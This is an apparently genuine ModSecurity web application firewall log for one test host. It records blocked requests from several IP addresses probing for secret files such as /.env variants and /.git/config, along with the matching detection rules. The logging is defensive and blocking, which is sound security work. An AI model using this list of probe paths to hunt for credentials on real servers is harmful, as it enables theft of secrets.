[Sat Jul 26 14:23:49.599131 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllQAAAAc&quot;]
[Sat Jul 26 14:23:49.599324 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKllQAAAAc&quot;]
[Sat Jul 26 14:23:49.688039 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmAAAAAc&quot;]
[Sat Jul 26 14:23:49.688272 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmAAAAAc&quot;]
[Sat Jul 26 14:23:49.688464 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmAAAAAc&quot;]
[Sat Jul 26 14:23:49.717497 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmQAAAAc&quot;]
[Sat Jul 26 14:23:49.717733 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmQAAAAc&quot;]
[Sat Jul 26 14:23:49.717925 2025] [:error] [pid 1469823] [client 185.177.72.115:59556] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aITI1QxjxSVdKPpmiUKlmQAAAAc&quot;]
[Sat Jul 26 14:40:49.479905 2025] [:error] [pid 1466107] [client 18.191.103.182:41328] [client 18.191.103.182] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aITM0eWwZyhSDhmHhJ_1QAAAAAI&quot;]
[Sat Jul 26 14:40:49.480173 2025] [:error] [pid 1466107] [client 18.191.103.182:41328] [client 18.191.103.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aITM0eWwZyhSDhmHhJ_1QAAAAAI&quot;]
[Sat Jul 26 14:40:49.480339 2025] [:error] [pid 1466107] [client 18.191.103.182:41328] [client 18.191.103.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aITM0eWwZyhSDhmHhJ_1QAAAAAI&quot;]
[Sun Jul 27 02:16:08.752467 2025] [:error] [pid 1486777] [client 3.218.145.0:52166] [client 3.218.145.0] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIVvyHtwiTQzdpq2oQD1tQAAAAQ&quot;]
[Sun Jul 27 02:16:08.752764 2025] [:error] [pid 1486777] [client 3.218.145.0:52166] [client 3.218.145.0] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIVvyHtwiTQzdpq2oQD1tQAAAAQ&quot;]
[Sun Jul 27 02:16:08.752930 2025] [:error] [pid 1486777] [client 3.218.145.0:52166] [client 3.218.145.0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIVvyHtwiTQzdpq2oQD1tQAAAAQ&quot;]
[Sun Jul 27 18:22:53.668926 2025] [:error] [pid 1495876] [client 93.123.109.7:47158] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIZSXeWBJAKUjtGl5KHjcQAAABY&quot;]
[Sun Jul 27 18:22:53.669209 2025] [:error] [pid 1495876] [client 93.123.109.7:47158] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIZSXeWBJAKUjtGl5KHjcQAAABY&quot;]
[Sun Jul 27 18:22:53.669387 2025] [:error] [pid 1495876] [client 93.123.109.7:47158] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIZSXeWBJAKUjtGl5KHjcQAAABY&quot;]
[Sun Jul 27 23:36:20.527665 2025] [:error] [pid 1495876] [client 185.177.72.24:55514] [client 185.177.72.24] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIab1OWBJAKUjtGl5KHjjwAAABY&quot;]
[Sun Jul 27 23:36:20.527989 2025] [:error] [pid 1495876] [client 185.177.72.24:55514] [client 185.177.72.24] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIab1OWBJAKUjtGl5KHjjwAAABY&quot;]
[Sun Jul 27 23:36:20.528157 2025] [:error] [pid 1495876] [client 185.177.72.24:55514] [client 185.177.72.24] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIab1OWBJAKUjtGl5KHjjwAAABY&quot;]
[Mon Jul 28 12:12:34.570846 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sAAAAAY&quot;]
[Mon Jul 28 12:12:34.571131 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sAAAAAY&quot;]
[Mon Jul 28 12:12:34.571302 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sAAAAAY&quot;]
[Mon Jul 28 12:12:34.591484 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sQAAAAY&quot;]
[Mon Jul 28 12:12:34.591724 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sQAAAAY&quot;]
[Mon Jul 28 12:12:34.591905 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sQAAAAY&quot;]
[Mon Jul 28 12:12:34.612208 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sgAAAAY&quot;]
[Mon Jul 28 12:12:34.612449 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sgAAAAY&quot;]
[Mon Jul 28 12:12:34.612628 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5sgAAAAY&quot;]
[Mon Jul 28 12:12:34.632739 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5swAAAAY&quot;]
[Mon Jul 28 12:12:34.632989 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5swAAAAY&quot;]
[Mon Jul 28 12:12:34.633203 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5swAAAAY&quot;]
[Mon Jul 28 12:12:34.655194 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5tAAAAAY&quot;]
